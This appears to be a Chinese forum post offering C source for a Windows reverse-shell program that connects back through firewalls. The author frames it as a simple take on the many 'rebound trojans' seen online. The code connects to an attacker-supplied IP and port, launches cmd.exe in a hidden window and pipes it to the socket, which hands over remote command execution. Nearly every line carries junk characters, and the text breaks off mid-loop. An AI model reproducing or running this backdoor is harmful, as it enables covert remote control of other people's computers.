这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^D[;JV
iUB ni&B
/* ============================== U .(_n
Rebound port in Windows NT CI'5JOqP
By wind,2006/7 1dsxqN(:
===============================*/ ^
s4|
#include >C3 9`1
#include [1CxMk~"[
.utL/1Ej
#pragma comment(lib,"wsock32.lib") )^sfEYoA
u;g}N'"
void OutputShell(); oP
0j>i,"&
SOCKET sClient; )~(_[='
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yqI|BF`
~A4WuA
void main(int argc,char **argv) 0eP~F2<bC
{ uu.Nq*3
WSADATA stWsaData; B ;$8<
int nRet; Lr:K0A.Ch
SOCKADDR_IN stSaiClient,stSaiServer; m
0PF"(
oX,M;;Yq
if(argc != 3) i`L66uV
{ {rLOAewr
printf("Useage:\n\rRebound DestIP DestPort\n"); ;A!i V|
return; +-d>Sl (
} Cz)D3Df^
T]2q >N
WSAStartup(MAKEWORD(2,2),&stWsaData); heA\6W:u&
)wd~639U
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |-D.
N2J!7uoQ
stSaiClient.sin_family = AF_INET; =x>k:l~s
stSaiClient.sin_port = htons(0); a@J:*W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e?WR={
u*`GIRfWT
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9t1_"{'N1
{ 74#@F{ w
printf("Bind Socket Failed!\n"); Lp=B? H
return; Q pq0j^\
} {*9i}w|2
?]N&H90^5
stSaiServer.sin_family = AF_INET; Q-5wI$=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bmpB$@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e:
tp7w 4
Q2JjBV<
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a mgex$
{ N0C5FSH
printf("Connect Error!"); rfoCYsX'
return; o9>X"5CmX
} 7F\g3^z9`
OutputShell(); oR)7 \;g
} xd<68%Cn
[~wcHE
void OutputShell() dM$S|,H
{ M(f'qFY=K
char szBuff[1024]; QNFrkel
SECURITY_ATTRIBUTES stSecurityAttributes; qc F{Kex"
OSVERSIONINFO stOsversionInfo; r_m&Jl@4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V-3]h
ba,
STARTUPINFO stStartupInfo; ?M2@[w8_
char *szShell; }kDrUnBk
PROCESS_INFORMATION stProcessInformation; sx\7Z#|
unsigned long lBytesRead; 04t_
[&:oS35O
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S\m]z e
D=Y HJ>-wB
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /([aD~.
stSecurityAttributes.lpSecurityDescriptor = 0; x;Q2/YZ#
stSecurityAttributes.bInheritHandle = TRUE; oP6G2@3P/
hlZjk0ez
oL;/Qan
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9HP--Z=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H@:@zD!G[
]\U'_G2]
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \Wk$>?+#@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aXagiz\;
stStartupInfo.wShowWindow = SW_HIDE; Wwz{98,K
stStartupInfo.hStdInput = hReadPipe; -j,o:ng0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }1wuH
L z
GetVersionEx(&stOsversionInfo); Fz% n!d
_?"J.i
switch(stOsversionInfo.dwPlatformId) 8ZDq
KQ1;
{ yS""*8/
case 1: '4rgIs3=x"
szShell = "command.com"; +#no$m.bH
break; qz&)|~,\C
default: 3^Y-P8.zdB
szShell = "cmd.exe"; $B2@mC([S
break; RZZB?vx
} hGeRM4zVZZ
eu=2a>
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xjpW<-)MLf
53QP~[F8R]
send(sClient,szMsg,77,0); :`K;0`C+
while(1) ?)&TewP
{ vKeK]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?kSs7e>
if(lBytesRead) /<@tbZJ*8
{ !IS,[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c
LJCLKJ
send(sClient,szBuff,lBytesRead,0); ?m6E@.{
} ]2jnY&a5
else G r)+O
{ Z6p>R;9n
lBytesRead=recv(sClient,szBuff,1024,0); I(.XK ucU
if(lBytesRead<=0) break; sAb|]Q((
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XV&